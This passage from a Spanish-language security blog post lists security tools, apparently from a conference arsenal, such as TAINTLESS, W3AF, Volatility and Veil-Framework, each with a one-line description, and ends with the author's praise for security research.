- TAINTLESS: Detección y explotación de SQL Injection
- THREADFIX: Gestión de vulnerabilidades y parches
- VEIL-FRAMEWORK: Herramienta para pentesting en equipos
- VIPER: Herramienta de gestión de scrips para reversing
- VIPROY: Herramienta para hacking de VoiP
- VOLATILITY FRAMEWORK 2.4: Nueva versión de memory forensics
- VOYEUR: Auditoría de Active Directory hecha en PowerShell
- W3AF: Web Security Scanner
- WATOBO: Herramientas para auditoría web
- WHATSAPP PRIVACY GUARD: Cifrado de WhatsApp
- ZIG TOOLS: Librerías Python para desarrollo con Freakduino
- ZITMO NOM: Para auditar el despliegue de ZitMo vía SMS

Como veis, la lista de herramientas es grande, así que he intentado resumir en una sola línea información básica para que decidas si quieres conocer mejor esas herramientas o no, además de dejaros enlaces a algunos de sus repositorios y/o documentación disponible. Si quieres saber más de cada una de ellas, visita la web del Arsenal o busca la herramienta en su repositorio si está disponible y ponte a probarla.

La verdad es personalmente me encanta ver la cantidad de gente que hay haciendo investigación en seguridad y que hace que cada día avance más el conocimiento. Con grandes herramientas, pequeñas soluciones o simplemente documentando y creando recursos para enseñar o agitar la mente de todos con nuevas ideas.

Saludos Malignos!
Viewing all 4226 articles
Browse latest View live